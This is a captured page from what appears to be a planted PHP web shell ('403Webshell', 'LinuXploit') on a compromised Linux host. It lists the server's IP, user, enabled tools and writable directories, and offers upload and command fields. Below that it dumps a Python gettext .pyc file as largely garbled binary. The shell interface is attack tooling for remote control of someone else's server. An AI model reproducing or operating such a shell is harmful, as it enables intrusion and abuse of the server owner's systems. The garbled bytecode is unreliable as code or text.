403Webshell
Server IP : 216.92.14.13  /  Your IP : 216.73.217.126
Web Server : Apache
System : Linux vps4089.pairvps.com 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64
User : rmlac2fmr ( 1040637)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.4/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.4/__pycache__/gettext.cpython-34.pyc
�
�-X�F�@s�dZddlZddlZddlZddlZddlZddlZddlZddlm	Z	dddddd	d
ddd
ddgZ
ejjej
dd�Zdd�Zdd�ZGdd�d�ZGdd�de�Zddddd�ZiZddddddd�Zddddd	�Ziaiadaddd
�Zddd�Zddd �Zd!d�Zd"d#�Zd$d
�Zd%d&�Z d'd�Z!d(d)�Z"d*d�Z#d+d,�Z$eZ%dS)-a�Internationalization and localization support.

This module provides internationalization (I18N) and localization (L10N)
support for your Python programs by providing an interface to the GNU gettext
message catalog library.

I18N refers to the operation by which a program is made aware of multiple
languages.  L10N refers to the adaptation of your program, once
internationalized, to the local language and cultural habits.

�N)�ENOENT�NullTranslations�GNUTranslations�Catalog�find�translation�install�
textdomain�bindtextdomain�dgettext�	dngettext�gettext�ngettextZshare�localecs�ddl�ddl}|jtj|�j�}y�fdd�|D�}Wn!|jk
rstd��YnX|r�td��n|jdd�}|jd	d
�}t	j
d���jd|�}t	j
d
����fdd��dg}x�|D]�}|dkr$|jd�q|dkr~t
|�dkrQtd��n�j�|j��}|dd|7<q|d|7<qW�j�|j��}td|�S)z�Gets a C expression as used in PO files for plural forms and returns a
    Python lambda function that implements an equivalent expression.
    rNcs9g|]/}|d�jkr|ddkr|�qS)r��n)�NAME)�.0�x)�token��/usr/lib/python3.4/gettext.py�
<listcomp>Es	zc2py.<locals>.<listcomp>z;plural forms expression error, maybe unbalanced parenthesisz*plural forms expression could be dangerousz&&z and z||z or z\!([^=])z not \1z(.*?)\?(.*?):(.*)cs8d|jd�|jd��j�|jd��fS)Nz(%s if %s else %s)�r�)�group�sub)r)�expr�replrrrVszc2py.<locals>.repl��(�)rz%unbalanced parenthesis in plural formz(%s)zlambda n: int(%s)���r")r�tokenize�generate_tokens�io�StringIO�readline�
TokenError�
ValueError�replace�re�compiler�append�len�pop�eval)�pluralr#�tokensZdanger�stack�c�sr)rrrr�c2py=s4	
r6c
Cs�tj|�}d}d	}d
}d}|jd�}|dkro||d�}|d|�}||O}nd}|jd�}|dkr�||d�}|d|�}||O}nd}|jd�}|dkr||d�}|d|�}||O}nd}|}	g}
x~t|d�D]l}||@s.|	}||@r\||7}n||@rs||7}n||@r�||7}n|
j|�q.q.W|
j�|
S)Nrrr�@r�.�_rr�)rZ	normalizer�ranger-�reverse)
�locZCOMPONENT_CODESETZCOMPONENT_TERRITORYZCOMPONENT_MODIFIER�mask�posZmodifier�codesetZ	territoryZlanguageZret�i�valrrr�_expand_langosJ









rCc@s�eZdZddd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Zdd�Z	dd�Z
dd�Zdd�Zdd�Z
ddd�ZdS)rNcCsDi|_d|_d|_d|_|dk	r@|j|�ndS)N)�_info�_charset�_output_charset�	_fallback�_parse)�self�fprrr�__init__�s				zNullTranslations.__init__cCsdS)Nr)rIrJrrrrH�szNullTranslations._parsecCs)|jr|jj|�n	||_dS)N)rG�add_fallback)rI�fallbackrrrrL�s	zNullTranslations.add_fallbackcCs|jr|jj|�S|S)N)rGr
)rI�messagerrrr
�s	zNullTranslations.gettextcCs|jr|jj|�S|S)N)rG�lgettext)rIrNrrrrO�s	zNullTranslations.lgettextcCs7|jr|jj|||�S|dkr/|S|SdS)Nr)rGr)rI�msgid1�msgid2rrrrr�s
	zNullTranslations.ngettextcCs7|jr|jj|||�S|dkr/|S|SdS)Nr)rG�	lngettext)rIrPrQrrrrrR�s
	zNullTranslations.lngettextcCs|jS)N)rD)rIrrr�info�szNullTranslations.infocCs|jS)N)rE)rIrrr�charset�szNullTranslations.charsetcCs|jS)N)rF)rIrrr�output_charset�szNullTranslations.output_charsetcCs
||_dS)N)rF)rIrTrrr�set_output_charset�sz#NullTranslations.set_output_charsetcCs�ddl}|j|jd<t|d�r�d|krN|jd|jd<nd|krm|j|jd<nd|kr�|j|jd<nd|kr�|j|jd<q�ndS)Nrr9�__contains__r
rrOrR)�builtinsr
�__dict__�hasattrrrOrR)rI�namesrXrrrr�szNullTranslations.install)�__name__�
__module__�__qualname__rKrHrLr
rOrrRrSrTrUrVrrrrrr�sc@sXeZdZdZdZdd�Zdd�Zdd�Zd	d
�Zdd�Z	d
S)rl�*l�$<c Cs�tj}t|dd�}i|_}dd�|_|j�}t|�}|d|dd��d}||jkr�|d	|dd
��\}}	}
}d}nO||jkr�|d|dd
��\}}	}
}d
}nt	dd|��x�t
d|	�D]�}
||||
|
d��\}}||}|||||d��\}}||}||kr�||kr�|||�}|||�}nt	dd|��|dkr�d}}x |jdjd��D]}|j
�j�}|sq�nd|kr`|jdd�\}}|j�j�}|j�}||j|<|}n|r~|j|d|7<n|dkr�|jd�d|_q�|dkr�|jd�}|djd�d}t|�|_q�q�Wn|jp�d}d|kru|jd�\}}|jd�}t||�}xRt|�D]%\}
}t||�|||
f<qIWnt||�|t||�<|
d7}
|d7}qWdS)z8Override this method to support alternative .mo formats.�namercSst|dk�S)Nr)�int)rrrr�<lambda>�sz(GNUTranslations._parse.<locals>.<lambda>z<INr:rz<4I�z<IIz>4Iz>IIzBad magic number�zFile is corrupt�
�ascii�:rzcontent-typezcharset=zplural-forms�;zplural=s)�struct�unpack�getattr�_catalogr1�readr.�LE_MAGIC�BE_MAGIC�OSErrorr;�split�encode�decode�strip�lowerrDrEr6�str�	enumerate) rIrJri�filenameZcatalogZbufZbuflen�magic�versionZmsgcountZ	masteridxZtransidxZiirAZmlenZmoffZmendZtlenZtoffZtend�msg�tmsgZlastk�kZb_item�item�vr1rTrPrQrrrrrH�sj	
%	%	#
#


	
 
zGNUTranslations._parsecCsst�}|jj||�}||krG|jrC|jj|�S|S|jr`|j|j�S|jtj��S)N)	�objectrk�getrGrOrFrqr�getpreferredencoding)rIrN�missingr{rrrrO1s			zGNUTranslations.lgettextcCs�yL|j||j|�f}|jr8|j|j�S|jtj��SWnEtk
r�|jr{|jj|||�S|dkr�|S|SYnXdS)Nr)	rkr1rFrqrr��KeyErrorrGrR)rIrPrQrr{rrrrR<s	
	zGNUTranslations.lngettextcCsKt�}|jj||�}||krG|jrC|jj|�S|S|S)N)rrkr�rGr
)rIrNr�r{rrrr
Js		zGNUTranslations.gettextcCssy |j||j|�f}WnLtk
rn|jrO|jj|||�S|dkrd|}n|}YnX|S)Nr)rkr1r�rGr)rIrPrQrr{rrrrSs 
		zGNUTranslations.ngettextN)
r\r]r^rmrnrHrOrRr
rrrrrr�sM	FcCs�|dkrt}n|dkr�g}x9d	D]1}tjj|�}|r.|jd�}Pq.q.Wd|kr�|jd�q�ng}xA|D]9}x0t|�D]"}||kr�|j|�q�q�Wq�W|r�g}	nd}	x�|D]�}|dkr�Pntjj||dd|�}
tjjd|dd|�}tjj	|
�rk|rd|	j|
�qk|
Sntjj	|�r�|r�|	j|�q�|Sq�q�W|	S)
N�LANGUAGE�LC_ALL�LC_MESSAGES�LANGrf�Cz%s.moz/usr/share/locale-langpack)r�zLC_ALLzLC_MESSAGESr�)
�_default_localedir�os�environr�rpr-rC�path�join�exists)�domain�	localedir�	languages�allZenvarrBZnelangsZlangZnelang�result�mofileZ	mofile_lprrrrasD	

	
cCs|dkrt}nt|||dd�}|sU|r@t�Sttd|��nd}x�|D]�}|tjj|�f}	tj	|	�}
|
dkr�t
|d��}tj|	||��}
WdQXntj|
�}
|r�|
j
|�n|dkr|
}qb|j|
�qbW|S)Nr�Tz$No translation file found for domain�rb)rrrrorr�r��abspath�
_translationsr��open�
setdefault�copyrVrL)r�r�r�Zclass_rMr@Zmofilesr�r��key�trJrrrr�s*	
!	cCs,t||ddd|�}|j|�dS)NrMTr@)rr)r�r�r@r[r�rrrr�sZmessagescCs|dk	r|antS)N)�_current_domain)r�rrrr	�s	cCs)|dk	r|t|<ntj|t�S)N)�_localedirsr�r�)r�r�rrrr
�s
cCs&|dk	r|t|<ntj|�S)N)�_localecodesetsr�)r�r@rrr�bind_textdomain_codeset�s
r�cCsTy.t|tj|d�dtj|��}Wntk
rF|SYnX|j|�S)Nr@)rr�r�r�ror
)r�rNr�rrrr�s
	cCsTy.t|tj|d�dtj|��}Wntk
rF|SYnX|j|�S)Nr@)rr�r�r�rorO)r�rNr�rrr�	ldgettext�s
	r�cCsjy.t|tj|d�dtj|��}Wn&tk
rV|dkrN|S|SYnX|j|||�S)Nr@r)rr�r�r�ror)r�rPrQrr�rrrr�s
	cCsjy.t|tj|d�dtj|��}Wn&tk
rV|dkrN|S|SYnX|j|||�S)Nr@r)rr�r�r�rorR)r�rPrQrr�rrr�
ldngettext�s
	r�cCs
tt|�S)N)rr�)rNrrrr
scCs
tt|�S)N)r�r�)rNrrrrOsrOcCstt|||�S)N)rr�)rPrQrrrrrscCstt|||�S)N)r�r�)rPrQrrrrrR	srR)&�__doc__rr�r%r�r+rh�sys�errnor�__all__r�r��base_prefixr�r6rCrrrr�rrr�r�r�r	r
r�rr�rr�r
rOrrRrrrrr�<module>s<&T	2*F�5

Youez - 2016 - github.com/yon3zu
LinuXploit